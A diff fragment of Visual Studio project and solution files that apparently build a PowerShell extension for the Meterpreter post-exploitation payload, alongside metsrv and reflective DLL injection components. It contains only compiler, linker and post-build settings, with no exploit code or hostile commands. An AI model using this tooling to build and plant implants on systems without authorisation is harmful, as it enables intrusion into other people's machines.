<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_powershell.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_powershell.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_powershell.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_powershell.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\deps\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatWarningAsError>true</TreatWarningAsError>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_powershell.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_powershell.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell.c" />
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell_bridge.cpp" />
|
||||
<ClCompile Include="..\..\source\extensions\powershell\powershell_runner.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell.h" />
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell_bridge.h" />
|
||||
<ClInclude Include="..\..\source\extensions\powershell\powershell_runner.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\common\common.vcxproj">
|
||||
<Project>{9e4de963-873f-4525-a7d0-ce34edbbdcca}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
|
||||
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
|
||||
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
@ -1,7 +1,7 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
VisualStudioVersion = 12.0.40629.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
|
||||
EndProject
|
||||
@ -35,14 +35,28 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_python", "ext_se
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_kiwi", "ext_server_kiwi\ext_server_kiwi.vcxproj", "{1C307A8B-A88E-43EE-8E80-01E6EFE38697}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_powershell", "ext_server_powershell\ext_server_powershell.vcxproj", "{28D39E90-259B-4DCE-88A7-7D2B568809DC}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
r7_debug|Win32 = r7_debug|Win32
|
||||
r7_debug|x64 = r7_debug|x64
|
||||
r7_release|Win32 = r7_release|Win32
|
||||
r7_release|x64 = r7_release|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Debug|Win32.Build.0 = Release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Debug|x64.ActiveCfg = Release|x64
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Debug|x64.Build.0 = Release|x64
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -51,6 +65,14 @@ Global
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|Win32.Build.0 = Release|Win32
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.ActiveCfg = Release|x64
|
||||
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}.Release|x64.Build.0 = Release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Debug|Win32.Build.0 = Release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Debug|x64.ActiveCfg = Release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Debug|x64.Build.0 = Release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -59,6 +81,14 @@ Global
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Release|Win32.Build.0 = Release|Win32
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Release|x64.ActiveCfg = Release|x64
|
||||
{87C64204-C82F-415D-AF45-D0B33BDFE39A}.Release|x64.Build.0 = Release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Debug|Win32.Build.0 = Release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Debug|x64.ActiveCfg = Release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Debug|x64.Build.0 = Release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -67,6 +97,14 @@ Global
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Release|Win32.Build.0 = Release|Win32
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Release|x64.ActiveCfg = Release|x64
|
||||
{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}.Release|x64.Build.0 = Release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Debug|Win32.Build.0 = Release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Debug|x64.ActiveCfg = Release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Debug|x64.Build.0 = Release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -75,6 +113,14 @@ Global
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Release|Win32.Build.0 = Release|Win32
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Release|x64.ActiveCfg = Release|x64
|
||||
{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}.Release|x64.Build.0 = Release|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Debug|x64.Build.0 = Debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_debug|Win32.ActiveCfg = r7_debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_debug|Win32.Build.0 = r7_debug|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_debug|x64.ActiveCfg = r7_debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_debug|x64.Build.0 = r7_debug|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -83,6 +129,14 @@ Global
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|Win32.Build.0 = Release|Win32
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.ActiveCfg = Release|x64
|
||||
{72F0246A-A38D-4547-9057-46020E8E503D}.Release|x64.Build.0 = Release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Debug|Win32.Build.0 = Release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Debug|x64.ActiveCfg = Release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Debug|x64.Build.0 = Release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -91,6 +145,14 @@ Global
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|Win32.Build.0 = Release|Win32
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|x64.ActiveCfg = Release|x64
|
||||
{C427F6B9-C287-4BDA-A5BB-401FC19E207C}.Release|x64.Build.0 = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|Win32.Build.0 = Release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.ActiveCfg = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Debug|x64.Build.0 = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -99,6 +161,14 @@ Global
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|Win32.Build.0 = Release|Win32
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.ActiveCfg = Release|x64
|
||||
{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}.Release|x64.Build.0 = Release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|Win32.Build.0 = Release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|x64.ActiveCfg = Release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Debug|x64.Build.0 = Release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -107,6 +177,14 @@ Global
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|Win32.Build.0 = Release|Win32
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.ActiveCfg = Release|x64
|
||||
{662AFBB3-F64A-4AD1-8956-B9F1B846231C}.Release|x64.Build.0 = Release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|Win32.Build.0 = Release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|x64.ActiveCfg = Release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Debug|x64.Build.0 = Release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -115,6 +193,14 @@ Global
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64
|
||||
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Debug|Win32.Build.0 = Release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Debug|x64.ActiveCfg = Release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Debug|x64.Build.0 = Release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_debug|x64.ActiveCfg = r7_release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_debug|x64.Build.0 = r7_release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_release|Win32.ActiveCfg = r7_release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_release|Win32.Build.0 = r7_release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.r7_release|x64.ActiveCfg = r7_release|x64
|
||||
@ -123,6 +209,12 @@ Global
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|Win32.Build.0 = Release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.ActiveCfg = Release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.Build.0 = Release|x64
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.Build.0 = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|x64.ActiveCfg = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_debug|Win32.ActiveCfg = r7_release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.r7_debug|Win32.Build.0 = r7_release|Win32
|
||||
